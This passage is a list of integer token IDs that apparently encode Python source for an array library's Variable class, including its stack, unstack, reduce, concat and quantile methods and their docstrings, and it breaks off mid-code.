17832,
29918,
1272,
353,
868,
384,
29918,
2378,
29918,
3554,
29889,
6729,
328,
4384,
29918,
517,
29898,
1311,
29889,
1272,
29892,
13128,
29918,
12181,
29897,
13,
4706,
1683,
29901,
13,
9651,
17832,
29918,
1272,
353,
1583,
29889,
1272,
15625,
8516,
29892,
29897,
334,
313,
2435,
29898,
18837,
287,
29918,
6229,
29879,
29897,
448,
1583,
29889,
299,
326,
4638,
13,
13,
4706,
17832,
29918,
1707,
353,
28736,
29898,
13,
9651,
17832,
29918,
6229,
29879,
29892,
17832,
29918,
1272,
29892,
1583,
3032,
5552,
29879,
29892,
1583,
3032,
22331,
29892,
5172,
2084,
29922,
5574,
13,
4706,
1723,
13,
4706,
736,
17832,
29918,
1707,
29889,
3286,
4220,
10456,
6229,
29879,
29897,
13,
13,
1678,
822,
903,
1429,
29918,
10646,
29898,
1311,
29892,
3964,
29879,
29892,
716,
29918,
6229,
1125,
13,
4706,
565,
451,
731,
29898,
6229,
29879,
29897,
5277,
731,
29898,
1311,
29889,
6229,
29879,
1125,
13,
9651,
12020,
7865,
2392,
703,
20965,
5923,
13391,
29901,
1273,
29879,
29908,
1273,
3964,
29879,
29897,
13,
13,
4706,
565,
716,
29918,
6229,
297,
1583,
29889,
6229,
29879,
29901,
13,
9651,
12020,
7865,
2392,
29898,
13,
18884,
376,
29883,
6735,
1653,
263,
716,
9927,
411,
278,
1021,
376,
13,
18884,
376,
978,
408,
385,
5923,
9927,
29908,
13,
9651,
1723,
13,
13,
4706,
565,
7431,
29898,
6229,
29879,
29897,
1275,
29871,
29900,
29901,
13,
9651,
396,
1016,
29915,
29873,
5096,
13,
9651,
736,
1583,
29889,
8552,
29898,
24535,
29922,
8824,
29897,
13,
13,
4706,
916,
29918,
6229,
29879,
353,
518,
29881,
363,
270,
297,
1583,
29889,
6229,
29879,
565,
270,
451,
297,
3964,
29879,
29962,
13,
4706,
3964,
29918,
2098,
353,
916,
29918,
6229,
29879,
718,
1051,
29898,
6229,
29879,
29897,
13,
4706,
337,
21693,
353,
1583,
29889,
3286,
4220,
10456,
6229,
29918,
2098,
29897,
13,
13,
4706,
716,
29918,
12181,
353,
337,
21693,
29889,
12181,
7503,
7431,
29898,
1228,
29918,
6229,
29879,
4638,
718,
8521,
29896,
29892,
29897,
13,
4706,
716,
29918,
1272,
353,
337,
21693,
29889,
1272,
29889,
690,
14443,
29898,
1482,
29918,
12181,
29897,
13,
4706,
716,
29918,
6229,
29879,
353,
337,
21693,
29889,
6229,
29879,
7503,
7431,
29898,
1228,
29918,
6229,
29879,
4638,
718,
313,
1482,
29918,
6229,
29892,
29897,
13,
13,
4706,
736,
28736,
29898,
1482,
29918,
6229,
29879,
29892,
716,
29918,
1272,
29892,
1583,
3032,
5552,
29879,
29892,
1583,
3032,
22331,
29892,
5172,
2084,
29922,
5574,
29897,
13,
13,
1678,
822,
5096,
29898,
1311,
29892,
13391,
29922,
8516,
29892,
3579,
6229,
5580,
29918,
19290,
1125,
13,
4706,
9995,
13,
4706,
10292,
738,
1353,
310,
5923,
13391,
964,
263,
2323,
716,
9927,
29889,
13,
13,
4706,
1570,
13391,
674,
367,
2715,
472,
278,
1095,
29892,
322,
278,
1797,
310,
278,
848,
13,
4706,
3412,
1269,
716,
9927,
674,
367,
297,
640,
5526,
681,
313,
29907,
29897,
1797,
29889,
13,
13,
4706,
12662,
2699,
13,
4706,
448,
1378,
29899,
13,
4706,
13391,
584,
10417,
310,
6608,
519,
304,
18761,
310,
6608,
519,
13,
9651,
341,
20304,
310,
883,
716,
29918,
978,
7607,
6229,
29896,
29892,
3964,
29906,
29892,
29757,
20766,
278,
13,
9651,
2983,
310,
716,
13391,
29892,
322,
278,
5923,
13391,
393,
13,
9651,
896,
5191,
29889,
13,
4706,
3579,
6229,
5580,
29918,
19290,
13,
9651,
450,
13553,
6273,
883,
310,
4954,
6229,
5580,
29952,
1412,
13,
9651,
3118,
310,
13391,
470,
13391,
29918,
19290,
1818,
367,
4944,
29889,
13,
13,
4706,
16969,
13,
4706,
448,
22158,
13,
4706,
5096,
287,
584,
28736,
13,
9651,
28736,
411,
278,
1021,
8393,
541,
5096,
287,
848,
29889,
13,
13,
4706,
2823,
884,
13,
4706,
448,
26589,
13,
4706,
28736,
29889,
348,
1429,
13,
4706,
9995,
13,
4706,
13391,
353,
2845,
29918,
8977,
29918,
272,
29918,
19290,
29898,
6229,
5580,
29892,
13391,
29918,
19290,
29892,
376,
1429,
1159,
13,
4706,
1121,
353,
1583,
13,
4706,
363,
716,
29918,
6229,
29892,
3964,
29879,
297,
13391,
29889,
7076,
7295,
13,
9651,
1121,
353,
1121,
3032,
1429,
29918,
10646,
29898,
6229,
29879,
29892,
716,
29918,
6229,
29897,
13,
4706,
736,
1121,
13,
13,
1678,
822,
903,
348,
1429,
29918,
10646,
29898,
1311,
29892,
3964,
29879,
29892,
2030,
29918,
6229,
1125,
13,
4706,
716,
29918,
6229,
29918,
7039,
353,
18761,
29898,
6229,
29879,
29889,
8149,
3101,
13,
4706,
716,
29918,
6229,
29918,
29879,
7093,
353,
18761,
29898,
6229,
29879,
29889,
5975,
3101,
13,
13,
4706,
565,
2030,
29918,
6229,
451,
297,
1583,
29889,
6229,
29879,
29901,
13,
9651,
12020,
7865,
2392,
703,
20965,
5923,
9927,
29901,
1273,
29879,
29908,
1273,
2030,
29918,
6229,
29897,
13,
13,
4706,
565,
731,
29898,
1482,
29918,
6229,
29918,
7039,
467,
1639,
2042,
29898,
1311,
29889,
6229,
29879,
1125,
13,
9651,
12020,
7865,
2392,
29898,
13,
18884,
376,
29883,
6735,
1653,
263,
716,
9927,
411,
278,
1021,
376,
13,
18884,
376,
978,
408,
385,
5923,
9927,
29908,
13,
9651,
1723,
13,
13,
4706,
565,
7442,
29889,
10633,
29898,
1482,
29918,
6229,
29918,
29879,
7093,
29897,
2804,
1583,
29889,
29879,
7093,
29961,
1025,
29918,
6229,
5387,
13,
9651,
12020,
7865,
2392,
29898,
13,
18884,
376,
1552,
3234,
310,
278,
716,
9927,
15786,
1818,
376,
13,
18884,
376,
11745,
278,
2159,
310,
278,
2030,
9927,
29908,
13,
9651,
1723,
13,
13,
4706,
916,
29918,
6229,
29879,
353,
518,
29881,
363,
270,
297,
1583,
29889,
6229,
29879,
565,
270,
2804,
2030,
29918,
6229,
29962,
13,
4706,
3964,
29918,
2098,
353,
916,
29918,
6229,
29879,
718,
518,
1025,
29918,
6229,
29962,
13,
4706,
337,
21693,
353,
1583,
29889,
3286,
4220,
10456,
6229,
29918,
2098,
29897,
13,
13,
4706,
716,
29918,
12181,
353,
337,
21693,
29889,
12181,
7503,
7431,
29898,
1228,
29918,
6229,
29879,
4638,
718,
716,
29918,
6229,
29918,
29879,
7093,
13,
4706,
716,
29918,
1272,
353,
337,
21693,
29889,
1272,
29889,
690,
14443,
29898,
1482,
29918,
12181,
29897,
13,
4706,
716,
29918,
6229,
29879,
353,
337,
21693,
29889,
6229,
29879,
7503,
7431,
29898,
1228,
29918,
6229,
29879,
4638,
718,
716,
29918,
6229,
29918,
7039,
13,
13,
4706,
736,
28736,
29898,
1482,
29918,
6229,
29879,
29892,
716,
29918,
1272,
29892,
1583,
3032,
5552,
29879,
29892,
1583,
3032,
22331,
29892,
5172,
2084,
29922,
5574,
29897,
13,
13,
1678,
822,
443,
1429,
29898,
1311,
29892,
13391,
29922,
8516,
29892,
3579,
6229,
5580,
29918,
19290,
1125,
13,
4706,
9995,
13,
4706,
853,
1429,
385,
5923,
9927,
964,
2999,
716,
13391,
29889,
13,
13,
4706,
1570,
13391,
674,
367,
2715,
472,
278,
1095,
29892,
322,
278,
1797,
310,
278,
848,
13,
4706,
3412,
1269,
716,
9927,
674,
367,
297,
640,
5526,
681,
313,
29907,
29897,
1797,
29889,
13,
13,
4706,
12662,
2699,
13,
4706,
448,
1378,
29899,
13,
4706,
13391,
584,
10417,
310,
6608,
519,
304,
10417,
310,
6608,
519,
304,
938,
13,
9651,
341,
20304,
310,
278,
883,
2030,
29918,
6229,
3790,
6229,
29896,
29901,
2159,
29896,
29892,
2023,
29913,
20766,
278,
13,
9651,
2983,
310,
5923,
13391,
29892,
322,
278,
716,
13391,
322,
15786,
13,
9651,
393,
896,
2910,
304,
29889,
13,
4706,
3579,
6229,
5580,
29918,
19290,
13,
9651,
450,
13553,
6273,
883,
310,
4954,
6229,
5580,
29952,
1412,
13,
9651,
3118,
310,
13391,
470,
13391,
29918,
19290,
1818,
367,
4944,
29889,
13,
13,
4706,
16969,
13,
4706,
448,
22158,
13,
4706,
443,
1429,
287,
584,
28736,
13,
9651,
28736,
411,
278,
1021,
8393,
541,
443,
1429,
287,
848,
29889,
13,
13,
4706,
2823,
884,
13,
4706,
448,
26589,
13,
4706,
28736,
29889,
1429,
13,
4706,
9995,
13,
4706,
13391,
353,
2845,
29918,
8977,
29918,
272,
29918,
19290,
29898,
6229,
5580,
29892,
13391,
29918,
19290,
29892,
376,
348,
1429,
1159,
13,
4706,
1121,
353,
1583,
13,
4706,
363,
2030,
29918,
6229,
29892,
3964,
29879,
297,
13391,
29889,
7076,
7295,
13,
9651,
1121,
353,
1121,
3032,
348,
1429,
29918,
10646,
29898,
6229,
29879,
29892,
2030,
29918,
6229,
29897,
13,
4706,
736,
1121,
13,
13,
1678,
822,
5445,
1056,
29898,
1311,
29892,
995,
1125,
13,
4706,
736,
288,
567,
29889,
5589,
1056,
29898,
1311,
29892,
995,
29897,
13,
13,
1678,
822,
988,
29898,
1311,
29892,
2148,
29892,
916,
29922,
29881,
8768,
29889,
3521,
1125,
13,
4706,
736,
288,
567,
29889,
3062,
29918,
5696,
29898,
1311,
29892,
2148,
29892,
916,
29897,
13,
13,
1678,
822,
10032,
29898,
13,
4706,
1583,
29892,
13,
4706,
3653,
29892,
13,
4706,
3964,
29922,
8516,
29892,
13,
4706,
9685,
29922,
8516,
29892,
13,
4706,
3013,
29918,
5552,
29879,
29922,
8516,
29892,
13,
4706,
3013,
6229,
29879,
29922,
8824,
29892,
13,
4706,
3579,
19290,
29892,
13,
268,
1125,
13,
4706,
9995,
29934,
6085,
346,
445,
1409,
491,
15399,
421,
9891,
29952,
3412,
777,
9927,
29898,
29879,
467,
13,
13,
4706,
12662,
2699,
13,
4706,
448,
1378,
29899,
13,
4706,
3653,
584,
1246,
519,
13,
9651,
6680,
607,
508,
367,
2000,
297,
278,
883,
13,
9651,
421,
9891,
29898,
29916,
29892,
9685,
29922,
8990,
29892,
3579,
19290,
3569,
304,
736,
278,
1121,
310,
27668,
385,
13,
9651,
7442,
29889,
299,
2378,
975,
385,
6043,
659,
6742,
9685,
29889,
13,
4706,
3964,
584,
851,
470,
5665,
310,
851,
29892,
13136,
13,
9651,
4792,
2673,
29898,
29879,
29897,
975,
607,
304,
3394,
421,
9891,
1412,
13,
4706,
9685,
584,
938,
470,
5665,
310,
938,
29892,
13136,
13,
9651,
319,
11497,
29898,
267,
29897,
975,
607,
304,
3394,
421,
9891,
1412,
9333,
697,
310,
278,
525,
6229,
29915,
13,
9651,
322,
525,
8990,
29915,
6273,
508,
367,
19056,
29889,
960,
9561,
526,
19056,
29892,
769,
13,
9651,
278,
20376,
338,
12833,
975,
278,
1652,
8606,
287,
1409,
313,
1609,
5432,
13,
9651,
421,
9891,
29898,
29916,
3569,
1728,
385,
9685,
2980,
467,
13,
4706,
3013,
29918,
5552,
29879,
584,
6120,
29892,
13136,
13,
9651,
960,
5852,
29892,
278,
2286,
29915,
29879,
8393,
6695,
5552,
29879,
6348,
674,
367,
13746,
515,
13,
9651,
278,
2441,
1203,
304,
278,
716,
697,
29889,
29871,
960,
7700,
313,
4381,
511,
278,
716,
13,
9651,
1203,
674,
367,
4133,
1728,
8393,
29889,
13,
4706,
3013,
6229,
29879,
584,
6120,
29892,
2322,
29901,
7700,
13,
9651,
960,
5852,
29892,
278,
13391,
607,
526,
12212,
526,
2175,
297,
278,
1121,
13,
9651,
408,
13391,
310,
2159,
697,
13,
4706,
3579,
19290,
584,
9657,
13,
9651,
3462,
3245,
13553,
6273,
4502,
373,
304,
421,
9891,
1412,
13,
13,
4706,
16969,
13,
4706,
448,
22158,
13,
4706,
12212,
584,
4398,
13,
9651,
4398,
411,
19138,
1891,
848,
322,
278,
18694,
9927,
29898,
29879,
29897,
13,
9651,
6206,
29889,
13,
4706,
9995,
13,
4706,
565,
3964,
1275,
2023,
29901,
13,
9651,
3964,
353,
6213,
13,
4706,
565,
3964,
338,
451,
6213,
322,
9685,
338,
451,
6213,
29901,
13,
9651,
12020,
7865,
2392,
703,
29883,
6735,
11421,
1716,
525,
8990,
29915,
322,
525,
6229,
29915,
6273,
1159,
13,
13,
4706,
565,
3964,
338,
451,
6213,
29901,
13,
9651,
9685,
353,
1583,
29889,
657,
29918,
8990,
29918,
1949,
29898,
6229,
29897,
13,
13,
4706,
411,
18116,
29889,
12510,
29918,
25442,
886,
7295,
13,
9651,
18116,
29889,
4572,
25442,
886,
29898,
13,
18884,
376,
17281,
613,
364,
29908,
6816,
273,
310,
4069,
22780,
613,
7663,
29922,
7944,
22709,
13,
9651,
1723,
13,
9651,
565,
9685,
338,
451,
6213,
29901,
13,
18884,
848,
353,
3653,
29898,
1311,
29889,
1272,
29892,
9685,
29922,
8990,
29892,
3579,
19290,
29897,
13,
9651,
1683,
29901,
13,
18884,
848,
353,
3653,
29898,
1311,
29889,
1272,
29892,
3579,
19290,
29897,
13,
13,
4706,
565,
679,
5552,
29898,
1272,
29892,
376,
12181,
613,
313,
876,
1275,
1583,
29889,
12181,
29901,
13,
9651,
3964,
29879,
353,
1583,
29889,
6229,
29879,
13,
4706,
1683,
29901,
13,
9651,
6206,
29918,
1165,
267,
353,
313,
13,
18884,
3464,
29898,
1311,
29889,
299,
326,
29897,
565,
9685,
338,
6213,
1683,
7442,
29889,
271,
280,
579,
29918,
29896,
29881,
29898,
8990,
29897,
1273,
1583,
29889,
299,
326,
13,
9651,
1723,
13,
9651,
565,
3013,
6229,
29879,
29901,
13,
18884,
396,
24505,
7442,
29889,
1482,
8990,
363,
6206,
3964,
29879,
13,
18884,
269,
29399,
353,
18761,
29898,
13,
462,
1678,
7442,
29889,
1482,
8990,
565,
474,
297,
6206,
29918,
1165,
267,
1683,
22780,
29898,
8516,
29892,
6213,
29897,
13,
462,
1678,
363,
474,
297,
3464,
29898,
1311,
29889,
299,
326,
29897,
13,
18884,
1723,
13,
18884,
565,
679,
5552,
29898,
1272,
29892,
376,
12181,
613,
6213,
29897,
338,
6213,
29901,
13,
462,
1678,
396,
4367,
24551,
756,
7371,
263,
17336,
995,
29892,
451,
385,
1409,
29899,
4561,
13,
462,
1678,
848,
353,
7442,
29889,
294,
1384,
2378,
29898,
1272,
9601,
29879,
29399,
29962,
13,
18884,
1683,
29901,
13,
462,
1678,
848,
353,
848,
29961,
29879,
29399,
29962,
13,
18884,
3964,
29879,
353,
1583,
29889,
6229,
29879,
13,
9651,
1683,
29901,
13,
18884,
3964,
29879,
353,
518,
13,
462,
1678,
594,
326,
363,
302,
29892,
594,
326,
297,
26985,
29898,
1311,
29889,
6229,
29879,
29897,
565,
302,
451,
297,
6206,
29918,
1165,
267,
13,
18884,
4514,
13,
13,
4706,
565,
3013,
29918,
5552,
29879,
338,
6213,
29901,
13,
9651,
3013,
29918,
5552,
29879,
353,
903,
657,
29918,
17462,
29918,
5552,
29879,
29898,
4381,
29922,
8824,
29897,
13,
4706,
12421,
29879,
353,
1583,
3032,
5552,
29879,
565,
3013,
29918,
5552,
29879,
1683,
6213,
13,
13,
4706,
736,
28736,
29898,
6229,
29879,
29892,
848,
29892,
12421,
29879,
29922,
5552,
29879,
29897,
13,
13,
1678,
732,
1990,
5696,
13,
1678,
822,
3022,
271,
29898,
25932,
29892,
3651,
29892,
3964,
543,
17685,
29918,
6229,
613,
11909,
29922,
8516,
29892,
21697,
29922,
8824,
1125,
13,
4706,
9995,
1168,
29883,
2579,
403,
3651,
3412,
263,
716,
470,
5923,
9927,
29889,
13,
13,
4706,
12662,
2699,
13,
4706,
448,
1378,
29899,
13,
4706,
3651,
584,
4256,
519,
310,
28736,
13,
9651,
4398,
29879,
304,
5096,
4208,
29889,
7806,
2286,
338,
3806,
304,
505,
13,
9651,
9686,
13391,
322,
8267,
5174,
363,
3412,
278,
5096,
287,
13,
9651,
9927,
29889,
13,
4706,
3964,
584,
851,
470,
3630,
2588,
29892,
13136,
13,
9651,
4408,
310,
278,
9927,
304,
5096,
3412,
29889,
910,
508,
2845,
367,
263,
716,
13,
9651,
9927,
1024,
29892,
297,
607,
1206,
372,
338,
2715,
3412,
9685,
29922,
29900,
29892,
470,
385,
13,
9651,
5923,
9927,
1024,
29892,
297,
607,
1206,
278,
4423,
310,
278,
13,
9651,
9927,
338,
443,
15033,
29889,
6804,
304,
4635,
278,
716,
9927,
338,
13,
9651,
10087,
491,
278,
937,
2286,
29889,
13,
4706,
11909,
584,
6213,
470,
1051,
310,
1409,
29899,
4561,
29892,
13136,
13,
9651,
2391,
310,
6043,
7049,
607,
1580,
11057,
278,
6043,
11909,
304,
13,
9651,
607,
304,
3566,
1269,
8783,
3412,
278,
16125,
630,
9927,
29889,
13,
9651,
960,
451,
19056,
29892,
3618,
526,
16125,
630,
297,
278,
4944,
1797,
29889,
13,
4706,
21697,
584,
6120,
29892,
13136,
13,
9651,
910,
2984,
338,
1304,
25106,
304,
6210,
29899,
786,
2318,
1609,
6931,
29889,
13,
9651,
960,
421,
12759,
7582,
29952,
338,
5852,
29892,
777,
12747,
310,
7463,
5718,
3819,
1546,
13,
9651,
7049,
304,
16125,
403,
526,
14993,
2986,
29889,
13,
13,
4706,
16969,
13,
4706,
448,
22158,
13,
4706,
5096,
287,
584,
28736,
13,
9651,
23924,
2579,
630,
28736,
8429,
491,
5096,
292,
599,
278,
19056,
3651,
13,
9651,
3412,
278,
2183,
9927,
29889,
13,
4706,
9995,
13,
4706,
565,
451,
338,
8758,
29898,
6229,
29892,
851,
1125,
13,
9651,
313,
6229,
29892,
29897,
353,
3964,
29889,
6229,
29879,
13,
13,
4706,
396,
508,
29915,
29873,
437,
445,
425,
29920,
2354,
29901,
591,
817,
304,
2425,
1549,
3651,
472,
3203,
13,
4706,
396,
8951,
13,
4706,
3651,
353,
1051,
29898,
20897,
29897,
13,
4706,
937,
29918,
1707,
353,
3651,
29961,
29900,
29962,
13,
13,
4706,
7049,
353,
518,
29894,
29889,
1272,
363,
325,
297,
3651,
29962,
13,
13,
4706,
565,
3964,
297,
937,
29918,
1707,
29889,
6229,
29879,
29901,
13,
9651,
9685,
353,
937,
29918,
1707,
29889,
657,
29918,
8990,
29918,
1949,
29898,
6229,
29897,
13,
9651,
3964,
29879,
353,
937,
29918,
1707,
29889,
6229,
29879,
13,
9651,
848,
353,
868,
384,
29918,
2378,
29918,
3554,
29889,
535,
29883,
2579,
403,
29898,
2378,
29879,
29892,
9685,
29922,
8990,
29897,
13,
9651,
565,
11909,
338,
451,
6213,
29901,
13,
18884,
396,
14402,
29901,
16460,
403,
445,
2984,
1192,
591,
1016,
29915,
29873,
817,
372,
363,
2318,
1609,
13,
18884,
396,
738,
901,
29889,
13,
18884,
16285,
353,
302,
649,
2719,
29889,
262,
3901,
29918,
546,
6149,
362,
29898,
9302,
29889,
535,
29883,
2579,
403,
29898,
1066,
2187,
876,
13,
18884,
848,
353,
868,
384,
29918,
2378,
29918,
3554,
29889,
19730,
29898,
1272,
29892,
16285,
29892,
9685,
29922,
8990,
29897,
13,
4706,
1683,
29901,
13,
9651,
9685,
353,
29871,
29900,
13,
9651,
3964,
29879,
353,
313,
6229,
29892,
29897,
718,
937,
29918,
1707,
29889,
6229,
29879,
13,
9651,
848,
353,
868,
384,
29918,
2378,
29918,
3554,
29889,
1429,
29898,
2378,
29879,
29892,
9685,
29922,
8990,
29897,
13,
13,
4706,
12421,
29879,
353,
9657,
29898,
4102,
29918,
1707,
29889,
5552,
29879,
29897,
13,
4706,
8025,
353,
9657,
29898,
4102,
29918,
1707,
29889,
22331,
29897,
13,
4706,
565,
451,
21697,
29901,
13,
9651,
363,
722,
297,
3651,
29901,
13,
18884,
565,
722,
29889,
6229,
29879,
2804,
937,
29918,
1707,
29889,
6229,
29879,
29901,
13,
462,
1678,
12020,
7865,
2392,
29898,
13,
462,
4706,
285,
29908,
16174,
756,
13391,
426,
1761,
29898,
1707,
29889,
6229,
29879,
2915,
541,
937,
28736,
756,
13391,
426,
1761,
29898,
4102,
29918,
1707,
29889,
6229,
29879,
2915,
29908,
13,
462,
1678,
1723,
13,
13,
4706,
736,
1067,
29879,
29898,
6229,
29879,
29892,
848,
29892,
12421,
29879,
29892,
8025,
29897,
13,
13,
1678,
822,
15743,
29898,
1311,
29892,
916,
29892,
1592,
440,
29922,
700,
384,
29918,
2378,
29918,
3554,
29889,
2378,
29918,
9402,
1125,
13,
4706,
9995,
5574,
565,
1023,
9586,
1849,
505,
278,
1021,
13391,
322,
1819,
29936,
13,
4706,
6467,
7700,
29889,
13,
13,
4706,
9586,
1849,
508,
1603,
367,
5186,
313,
4561,
11701,
3618,
29897,
565,
896,
505,
18780,
13,
4706,
1819,
297,
278,
1021,
14354,
29889,
13,
13,
4706,
910,
1158,
338,
5181,
1363,
421,
29894,
29896,
1275,
325,
29906,
29952,
363,
9586,
1849,
13,
4706,
947,
1543,
29899,
3538,
5734,
14125,
313,
4561,
12655,
29889,
299,
2378,
29879,
467,
13,
4706,
9995,
13,
4706,
916,
353,
679,
5552,
29898,
1228,
29892,
376,
11918,
613,
916,
29897,
13,
4706,
1018,
29901,
13,
9651,
736,
1583,
29889,
6229,
29879,
1275,
916,
29889,
6229,
29879,
322,
313,
13,
18884,
1583,
3032,
1272,
338,
916,
3032,
1272,
470,
1592,
440,
29898,
1311,
29889,
1272,
29892,
916,
29889,
1272,
29897,
13,
9651,
1723,
13,
4706,
5174,
313,
1542,
2392,
29892,
23833,
2392,
1125,
13,
9651,
736,
7700,
13,
13,
1678,
822,
12672,
29918,
10954,
29898,
1311,
29892,
916,
29892,
1592,
440,
29922,
700,
384,
29918,
2378,
29918,
3554,
29889,
2378,
29918,
9402,
1125,
13,
4706,
9995,
5574,
565,
1023,
9586,
1849,
505,
278,
1819,
1156,
1641,
12672,
2750,
13,
4706,
1269,
916,
29936,
6467,
7700,
29889,
13,
13,
4706,
9586,
1849,
508,
1603,
367,
5186,
313,
4561,
11701,
3618,
29897,
565,
896,
505,
18780,
13,
4706,
1819,
297,
278,
1021,
14354,
29889,
13,
4706,
9995,
13,
4706,
1018,
29901,
13,
9651,
1583,
29892,
916,
353,
12672,
29918,
20897,
29898,
1311,
29892,
916,
29897,
13,
4706,
5174,
313,
1917,
2392,
29892,
23833,
2392,
1125,
13,
9651,
736,
7700,
13,
4706,
736,
1583,
29889,
10954,
29898,
1228,
29892,
1592,
440,
29922,
9402,
29897,
13,
13,
1678,
822,
13557,
29898,
1311,
29892,
916,
29892,
1592,
440,
29922,
700,
384,
29918,
2378,
29918,
3554,
29889,
2378,
29918,
9402,
1125,
13,
4706,
9995,
27552,
15743,
29892,
541,
884,
12747,
8393,
1213,
15945,
13,
4706,
1018,
29901,
13,
9651,
736,
3667,
29879,
29889,
8977,
29918,
9402,
29898,
1311,
29889,
5552,
29879,
29892,
916,
29889,
5552,
29879,
29897,
322,
1583,
29889,
10954,
29898,
13,
18884,
916,
29892,
1592,
440,
29922,
9402,
13,
9651,
1723,
13,
4706,
5174,
313,
1542,
2392,
29892,
23833,
2392,
1125,
13,
9651,
736,
7700,
13,
13,
1678,
822,
694,
29918,
5527,
506,
1372,
29898,
1311,
29892,
916,
29892,
1592,
440,
29922,
700,
384,
29918,
2378,
29918,
3554,
29889,
2378,
29918,
1333,
4304,
29918,
9402,
1125,
13,
4706,
9995,
5574,
565,
278,
17686,
310,
1023,
28736,
29915,
29879,
1661,
29899,
4304,
848,
338,
13,
4706,
5186,
29936,
6467,
2089,
29889,
13,
13,
4706,
9586,
1849,
508,
4550,
1603,
367,
5186,
565,
727,
526,
14354,
988,
2845,
29892,
13,
4706,
470,
1716,
29892,
1712,
18780,
1819,
29889,
13,
4706,
9995,
13,
4706,
736,
1583,
29889,
6729,
328,
4384,
29918,
10954,
29898,
1228,
29892,
1592,
440,
29922,
9402,
29897,
13,
13,
1678,
822,
4323,
488,
29898,
13,
4706,
1583,
29892,
3855,
29892,
3964,
29922,
8516,
29892,
29694,
543,
10660,
613,
3013,
29918,
5552,
29879,
29922,
8516,
29892,
14383,
1056,
29922,
5574,
13,
268,
1125,
13,
4706,
9995,
20606,
29872,
278,
3855,
386,
4323,
488,
310,
278,
848,
3412,
278,
6790,
9927,
29889,
13,
13,
4706,
16969,
278,
3855,
386,
4323,
5475,
29898,
29879,
29897,
310,
278,
1409,
3161,
29889,
13,
13,
4706,
12662,
2699,
13,
4706,
448,
1378,
29899,
13,
4706,
3855,
584,
5785,
470,
5665,
310,
5785,
13,
9651,
22746,
488,
304,
10272,
29892,
607,
1818,
367,
1546,
29871,
29900,
322,
29871,
29896,
13,
9651,
20978,
573,
29889,
13,
4706,
3964,
584,
851,
470,
5665,
310,
851,
29892,
13136,
13,
9651,
4792,
2673,
29898,
29879,
29897,
975,
607,
304,
3394,
4323,
488,
29889,
13,
4706,
29694,
584,
8853,
10660,
613,
376,
13609,
613,
376,
9812,
261,
613,
376,
6563,
3149,
613,
376,
28502,
342,
10758,
2322,
29901,
376,
10660,
29908,
13,
9651,
910,
13136,
3443,
1580,
11057,
278,
29694,
1158,
304,
13,
9651,
671,
746,
278,
7429,
4323,
488,
12185,
1546,
1023,
848,
3291,
13,
9651,
4954,
29875,
529,
432,
29952,
6998,
13,
13,
18884,
334,
5608,
29901,
4954,
29875,
718,
313,
29926,
448,
474,
29897,
334,
15958,
29952,
1673,
988,
4954,
29888,
13857,
16159,
338,
13,
462,
29871,
278,
15958,
284,
760,
310,
278,
2380,
22047,
491,
4954,
29875,
16159,
322,
13,
462,
29871,
4954,
29926,
29952,
1412,
13,
18884,
334,
5224,
29901,
4954,
29875,
29952,
1412,
13,
18884,
334,
6133,
29901,
4954,
29926,
29952,
1412,
13,
18884,
334,
20471,
29901,
4954,
29875,
16159,
470,
4954,
29926,
29952,
1673,
377,
4070,
369,
338,
20471,
29889,
13,
18884,
334,
7145,
3149,
29901,
4954,
29898,
29875,
718,
432,
29897,
847,
29871,
29906,
29952,
1412,
13,
13,
4706,
3013,
29918,
5552,
29879,
584,
6120,
29892,
13136,
13,
9651,
960,
5852,
29892,
278,
2286,
29915,
29879,
8393,
6695,
5552,
29879,
6348,
674,
367,
13746,
515,
13,
9651,
278,
2441,
1203,
304,
278,
716,
697,
29889,
29871,
960,
7700,
313,
4381,
511,
278,
716,
13,
9651,
1203,
674,
367,
4133,
1728,
8393,
29889,
13,
13,
4706,
16969,
13,
4706,
448,
22158,
13,
4706,
4323,
5475,
584,
28736,
13,
9651,
960,
421,
29939,
29952,
338,
263,
2323,
4323,
488,
29892,
769,
278,
1121,
13,
9651,
338,
263,
17336,
29889,
960,
2999,
10151,
5475,
526,
2183,
29892,
937,
9685,
310,
13,
9651,
278,
1121,
16161,
304,
278,
4323,
488,
322,
263,
4323,
488,
9927,
13,
9651,
338,
2715,
304,
278,
736,
1409,
29889,
450,
916,
13391,
526,
278,
13,
9651,
13391,
393,
3933,
1156,
278,
20376,
310,
278,
1409,
29889,
13,
13,
4706,
2823,
3115,
13,
4706,
448,
26589,
13,
4706,
12655,
29889,
13707,
12150,
488,
29892,
11701,
29889,
19204,
29889,
12150,
488,
29892,
13373,
24541,
29889,
12150,
488,
29892,
13,
4706,
3630,
2588,
29889,
12150,
488,
13,
4706,
9995,
13,
13,
4706,
515,
869,
12097,
362,
1053,
3394,
29918,
1137,
4661,
13,
13,
4706,
903,
12150,
488,
29918,
9891,
353,
7442,
29889,
13707,
12150,
488,
565,
14383,
1056,
1683,
7442,
29889,
12150,
488,
13,
13,
4706,
565,
3013,
29918,
5552,
29879,
338,
6213,
29901,
13,
9651,
3013,
29918,
5552,
29879,
353,
903,
657,
29918,
17462,
29918,
5552,
29879,
29898,
4381,
29922,
8824,
29897,
13,
13,
4706,
17336,
353,
3667,
29879,
29889,
275,
29918,
19529,
279,
29898,
29939,
29897,
13,
4706,
3855,
353,
7442,
29889,
271,
280,
579,
29918,
29896,
29881,
29898,
9302,
29889,
294,
2378,
29898,
29939,
29892,
26688,
29922,
9302,
29889,
7411,
29953,
29946,
876,
13,
13,
4706,
565,
3964,
338,
6213,
29901,
13,
9651,
3964,
353,
1583,
29889,
6229,
29879,
13,
13,
4706,
565,
3667,
29879,
29889,
275,
29918,
19529,
279,
29898,
6229,
1125,
13,
9651,
3964,
353,
518,
6229,
29962,
13,
13,
4706,
822,
903,
17699,
29898,
29876,
3274,
29892,
3579,
19290,
1125,
13,
9651,
396,
4337,
4323,
488,
9685,
304,
1095,
29889,
3734,
363,
3394,
29918,
1137,
4661,
13,
9651,
736,
7442,
29889,
11631,
8990,
7373,
12150,
488,
29918,
9891,
29898,
29876,
3274,
29892,
3579,
19290,
511,
29871,
29900,
29892,
448,
29896,
29897,
13,
13,
4706,
9685,
353,
7442,
29889,
279,
927,
6278,
29896,
29892,
448,
29896,
334,
7431,
29898,
6229,
29897,
448,
29871,
29896,
29892,
448,
29896,
29897,
13,
4706,
1121,
353,
3394,
29918,
1137,
4661,
29898,
13,
9651,
903,
17699,
29892,
13,
9651,
1583,
29892,
13,
9651,
1881,
29918,
3221,
29918,
6229,
29879,
11759,
6229,
1402,
13,
9651,
19060,
29918,
6229,
29879,
29922,
842,
29898,
6229,
511,
13,
9651,
1962,
29918,
3221,
29918,
6229,
29879,
11759,
3366,
12150,
488,
